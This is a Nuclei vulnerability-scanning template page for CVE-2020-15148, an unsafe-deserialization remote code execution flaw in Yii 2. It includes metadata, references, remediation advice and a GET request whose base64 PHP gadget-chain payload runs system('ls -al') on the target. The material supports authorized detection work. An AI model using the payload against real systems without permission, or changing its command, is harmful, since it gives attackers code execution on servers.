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Yii 2 < 2.0.38 - Remote Code Execution

ID: CVE-2020-15148

Severity: critical

Author: pikpikcu

Tags: cve,cve2020,rce,yii,yiiframework

Description

Section titled “Description”

Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input.

YAML Source

Section titled “YAML Source”
id: CVE-2020-15148


info:
  name: Yii 2 < 2.0.38 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Upgrade to version 2.0.38 or later. A possible workaround without upgrading is available in the linked advisory.
  reference:
    - https://blog.csdn.net/xuandao_ahfengren/article/details/111259943
    - https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
    - https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-15148
    cwe-id: CWE-502
    epss-score: 0.02822
    epss-percentile: 0.90667
    cpe: cpe:2.3:a:yiiframework:yii:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yiiframework
    product: yii
  tags: cve,cve2020,rce,yii,yiiframework


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ=="


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "total"
          - "An internal server error occurred."
        condition: and


      - type: status
        status:
          - 500
# digest: 490a00463044022010f968f62f7e096f1a6610c9ec793ab344f4cf90d237bc2a5be8f036cb6af8010220647648533e45928d97b197c5eab53322b68a814e631f7390cc7a5fb68df75aa6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-15148.yaml"

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